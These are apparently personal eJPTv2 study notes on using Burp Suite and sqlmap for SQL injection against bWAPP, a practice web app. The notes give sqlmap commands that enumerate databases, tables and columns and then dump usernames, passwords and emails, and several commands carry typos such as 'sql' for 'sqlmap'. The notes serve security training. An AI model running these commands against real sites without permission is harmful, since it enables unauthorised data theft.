> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/introduction-to-the-web-and-http-protocol/sql-injection-with-sqlmap.md).

# SQL Injection with SQLMap

* Browse to target site
* Open Burp Suite, intercept the login request, copy the cookie

*NOTE: Make sure the BURP SUITE intercept is still on while performing the sqlmap* 

### SQLi with GET/Search requests

* And forward the request after SQL Injection (GET/Search) Joe.
* Intercept search request and take that to SQLMap.

**Basic SQLMap syntax**

```
sql -u "http://<IP>/<vulnerablePATH>" --cookie "<COOKIE>; security_level=0" -p <URL Parameter>
```

* paste the PATH from burp, cookie which we copied before
*

sql -u "http\://\<IP>/sqli\_1.php?title=joe\&action=search" --cookie "; security\_level=0" -p title

* Send the intercepted search request to the repeater and change the header with the SQLmap resutls payloads
* To check accessible databases

```
sql -u "http://<IP>/sqli_1.php?title=joe&action=search" --cookie "<COOKIE>; security_level=0" -p title -dbs title
```

* to list database's tables

```
sql -u "http://<IP>/sqli_1.php?title=joe&action=search" --cookie "; security_level=0" -p title -D bWAPP --tables
```

* &#x20;to list columns of table's

```
sql -u "http://<IP>/sqli_1.php?title=joe&action=search" --cookie "; security_level=0" -p title -D bWAPP -T users --columns 
```

* &#x20;to dump all the columns of User tables

```
sql -u "http://<IP>/sqli_1.php?title=joe&action=search" --cookie "; security_level=0" -p title -D bWAPP -T users -C admin,password,email --dump
```

### SQLi with POST/Search requests

* change the bWAPP, to SQL Injection (POST/Search)
* intercept the search data to burpsuite
* For POST request we need to pass it through the body.
* copy the request to the file through Intercept > Action > copy to file

```
cat <saved_file>
```

* for the payloads&#x20;

```
sqlmap -r request -p <vulnerableParameter> 
```

sqlmap -r request -p title

* use the payload at the body

{% embed url="<https://sqlmap.org/>" %}

{% embed url="<http://www.itsecgames.com/>" %}